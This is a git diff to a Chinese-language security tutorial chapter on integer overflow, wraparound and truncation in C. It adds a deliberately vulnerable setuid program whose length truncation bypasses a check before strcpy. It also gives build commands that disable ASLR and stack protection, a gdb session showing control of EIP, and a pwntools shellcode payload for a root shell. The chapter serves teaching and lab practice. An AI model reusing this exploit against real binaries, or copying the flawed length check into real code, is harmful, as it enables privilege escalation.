diff --git a/doc/3.3.2_integer_overflow.md b/doc/3.3.2_integer_overflow.md index bf9d254..247d79f 100644 --- a/doc/3.3.2_integer_overflow.md +++ b/doc/3.3.2_integer_overflow.md @@ -17,7 +17,18 @@ ## 整数溢出 -#### 有符号整数上溢出 +关于整数的异常情况主要有三种: +- 溢出 + - 只有有符号数才会发生溢出。有符号数最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出 + - 溢出标志 `OF` 可检测有符号数的溢出 +- 回绕 + - 无符号数 `0-1` 时会变成最大的数,如 1 字节的无符号数会变为 `255`,而 `255+1` 会变成最小数 `0`。 + - 进位标志 `CF` 可检测无符号数的回绕 +- 截断 + - 将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断 + +#### 有符号整数溢出 +- 上溢出 ```c int i; i = INT_MAX; // 2 147 483 647 @@ -25,23 +36,38 @@ i++; printf("i = %d\n", i); // i = -2 147 483 648 ``` -#### 有符号整数下溢出 +- 下溢出 ```c i = INT_MIN; // -2 147 483 648 i--; printf("i = %d\n", i); // i = 2 147 483 647 ``` -#### 无符号数截断 -涉及无符号数的计算永远不会溢出,如果计算结果无法用无符号数表示,就会发生截断。 +#### 无符号数回绕 +涉及无符号数的计算永远不会溢出,因为不能用结果为无符号整数表示的结果值被该类型可以表示的最大值加 1 之和取模减(reduced modulo)。因为回绕,一个无符号整数表达式永远无法求出小于零的值。 -加法截断: +使用下图直观地理解回绕,在轮上按顺时针方向将值递增产生的值紧挨着它: + +![](../pic/1.5.1_unsigned_integer.png) + +```c +unsigned int ui; +ui = UINT_MAX; // 在 x86-32 上为 4 294 967 295 +ui++; +printf("ui = %u\n", ui); // ui = 0 +ui = 0; +ui--; +printf("ui = %u\n", ui); // 在 x86-32 上,ui = 4 294 967 295 +``` + +#### 截断 +- 加法截断: ```text 0xffffffff + 0x00000001 = 0x0000000100000000 (long long) = 0x00000000 (long) ``` -乘法截断: +- 乘法截断: ```text 0x00123456 * 0x00654321 = 0x000007336BF94116 (long long) @@ -199,11 +225,12 @@ void vulnerable() { ``` 这个例子的问题在于,如果攻击者给 `len` 赋于了一个负数,则可以绕过 `if` 语句的检测,而执行到 `memcpy()` 的时候,由于第三个参数是 `size_t` 类型,负数 `len` 会被转换为一个无符号整型,它可能是一个非常大的正数,从而复制了大量的内容到 `buf` 中,引发了缓冲区溢出。 -示例二,溢出: -``` +示例二,回绕和溢出: +```c void vulnerable() { size_t len; - char *buf; + // int len; + char* buf; len = read_int_from_network(); buf = malloc(len + 5); @@ -211,7 +238,7 @@ void vulnerable() { ... } ``` -这个例子看似避开了缓冲区溢出的问题,但是如果 `len` 过大,`len+5` 有可能发生溢出。比如说,在 x86-32 上,如果 `len = 0xFFFFFFFF`,则 `len+5 = 0x00000004`,这时 `malloc()` 只分配了 4 字节的内存区域,然后在里面写入大量的数据,缓冲区溢出也就发生了。 +这个例子看似避开了缓冲区溢出的问题,但是如果 `len` 过大,`len+5` 有可能发生回绕。比如说,在 x86-32 上,如果 `len = 0xFFFFFFFF`,则 `len+5 = 0x00000004`,这时 `malloc()` 只分配了 4 字节的内存区域,然后在里面写入大量的数据,缓冲区溢出也就发生了。(如果将 `len` 声明为有符号 `int` 类型,`len+5` 可能发生溢出) 示例三,截断: ``` @@ -227,7 +254,128 @@ void main(int argc, char *argv[]) { 这个例子接受两个字符串类型的参数并计算它们的总长度,程序分配足够的内存来存储拼接后的字符串。首先将第一个字符串参数复制到缓冲区中,然后将第二个参数连接到尾部。如果攻击者提供的两个字符串总长度无法用 `total` 表示,则会发生截断,从而导致后面的缓冲区溢出。 #### 实战 -看了上面的示例,我们来真正利用一个整数溢出漏洞。 +看了上面的示例,我们来真正利用一个整数溢出漏洞。[源码](../src/Other/3.3.2_integer.c) +```c +#include +#include +void validate_passwd(char *passwd) { + char passwd_buf[11]; + unsigned char passwd_len = strlen(passwd); + if(passwd_len >= 4 && passwd_len <= 8) { + printf("good!\n"); + strcpy(passwd_buf, passwd); + } else { + printf("bad!\n"); + } +} + +int main(int argc, char *argv[]) { + if(argc != 2) { + printf("error\n"); + return 0; + } + validate_passwd(argv[1]); +} +``` +上面的程序中 `strlen()` 返回类型是 `size_t`,却被存储在无符号字符串类型中,任意超过无符号字符串最大上限值(256 字节)的数据都会导致截断异常。当密码长度为 261 时,截断后值变为 5,成功绕过了 `if` 的判断,导致栈溢出。下面我们利用溢出漏洞来获得 shell。 + +编译命令: +```text +# echo 0 > /proc/sys/kernel/randomize_va_space +$ gcc -g -fno-stack-protector -z execstack vuln.c +$ sudo chown root vuln +$ sudo chgrp root vuln +$ sudo chmod +s vuln +``` +使用 gdb 反汇编 `validate_passwd` 函数。 +```text +gdb-peda$ disassemble validate_passwd +Dump of assembler code for function validate_passwd: + 0x0000059d <+0>: push ebp ; 压入 ebp + 0x0000059e <+1>: mov ebp,esp + 0x000005a0 <+3>: push ebx ; 压入 ebx + 0x000005a1 <+4>: sub esp,0x14 + 0x000005a4 <+7>: call 0x4a0 <__x86.get_pc_thunk.bx> + 0x000005a9 <+12>: add ebx,0x1a57 + 0x000005af <+18>: sub esp,0xc + 0x000005b2 <+21>: push DWORD PTR [ebp+0x8] + 0x000005b5 <+24>: call 0x430 + 0x000005ba <+29>: add esp,0x10 + 0x000005bd <+32>: mov BYTE PTR [ebp-0x9],al ; 将 len 存入 [ebp-0x9] + 0x000005c0 <+35>: cmp BYTE PTR [ebp-0x9],0x3 + 0x000005c4 <+39>: jbe 0x5f2 + 0x000005c6 <+41>: cmp BYTE PTR [ebp-0x9],0x8 + 0x000005ca <+45>: ja 0x5f2 + 0x000005cc <+47>: sub esp,0xc + 0x000005cf <+50>: lea eax,[ebx-0x1910] + 0x000005d5 <+56>: push eax + 0x000005d6 <+57>: call 0x420 + 0x000005db <+62>: add esp,0x10 + 0x000005de <+65>: sub esp,0x8 + 0x000005e1 <+68>: push DWORD PTR [ebp+0x8] + 0x000005e4 <+71>: lea eax,[ebp-0x14] ; 取 passwd_buf 地址 + 0x000005e7 <+74>: push eax ; 压入 passwd_buf + 0x000005e8 <+75>: call 0x410 + 0x000005ed <+80>: add esp,0x10 + 0x000005f0 <+83>: jmp 0x604 + 0x000005f2 <+85>: sub esp,0xc + 0x000005f5 <+88>: lea eax,[ebx-0x190a] + 0x000005fb <+94>: push eax + 0x000005fc <+95>: call 0x420 + 0x00000601 <+100>: add esp,0x10 + 0x00000604 <+103>: nop + 0x00000605 <+104>: mov ebx,DWORD PTR [ebp-0x4] + 0x00000608 <+107>: leave + 0x00000609 <+108>: ret +End of assembler dump. +``` +通过阅读反汇编代码,我们知道缓冲区 `passwd_buf` 位于 `ebp=0x14` 的位置(`0x000005e4 <+71>: lea eax,[ebp-0x14]`),而返回地址在 `ebp+4` 的位置,所以返回地址相对于缓冲区 `0x18` 的位置。我们测试一下: +```text +gdb-peda$ r `python2 -c 'print "A"*24 + "B"*4 + "C"*233'` +Starting program: /home/a.out `python2 -c 'print "A"*24 + "B"*4 + "C"*233'` +good! + +Program received signal SIGSEGV, Segmentation fault. +[----------------------------------registers-----------------------------------] +EAX: 0xffffd0f4 ('A' , "BBBB", 'C' ...) +EBX: 0x41414141 ('AAAA') +ECX: 0xffffd490 --> 0x534c0043 ('C') +EDX: 0xffffd1f8 --> 0xffff0043 --> 0x0 +ESI: 0xf7f95000 --> 0x1bbd90 +EDI: 0x0 +EBP: 0x41414141 ('AAAA') +ESP: 0xffffd110 ('C' ...) +EIP: 0x42424242 ('BBBB') +EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] +Invalid $PC address: 0x42424242 +[------------------------------------stack-------------------------------------] +0000| 0xffffd110 ('C' ...) +0004| 0xffffd114 ('C' ...) +0008| 0xffffd118 ('C' ...) +0012| 0xffffd11c ('C' ...) +0016| 0xffffd120 ('C' ...) +0020| 0xffffd124 ('C' ...) +0024| 0xffffd128 ('C' ...) +0028| 0xffffd12c ('C' ...) +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +Stopped reason: SIGSEGV +0x42424242 in ?? () +``` +可以看到 `EIP` 被 `BBBB` 覆盖,相当于我们获得了返回地址的控制权。构建下面的 payload: +```python +from pwn import * + +ret_addr = 0xffffd118 # ebp = 0xffffd108 +shellcode = shellcraft.i386.sh() + +payload = "A" * 24 +payload += p32(ret_addr) +payload += "\x90" * 20 +payload += asm(shellcode) +payload += "C" * 169 # 24 + 4 + 20 + 44 + 169 = 261 +``` ## CTF 中的整数溢出 diff --git a/src/Others/3.3.2_integer.c b/src/Others/3.3.2_integer.c new file mode 100644 index 0000000..3e18974 --- /dev/null +++ b/src/Others/3.3.2_integer.c @@ -0,0 +1,20 @@ +#include +#include +void validate_passwd(char *passwd) { + char passwd_buf[11]; + unsigned char passwd_len = strlen(passwd); + if(passwd_len >= 4 && passwd_len <= 8) { + printf("good!\n"); + strcpy(passwd_buf, passwd); + } else { + printf("bad!\n"); + } +} + +int main(int argc, char *argv[]) { + if(argc != 2) { + printf("error\n"); + return 0; + } + validate_passwd(argv[1]); +}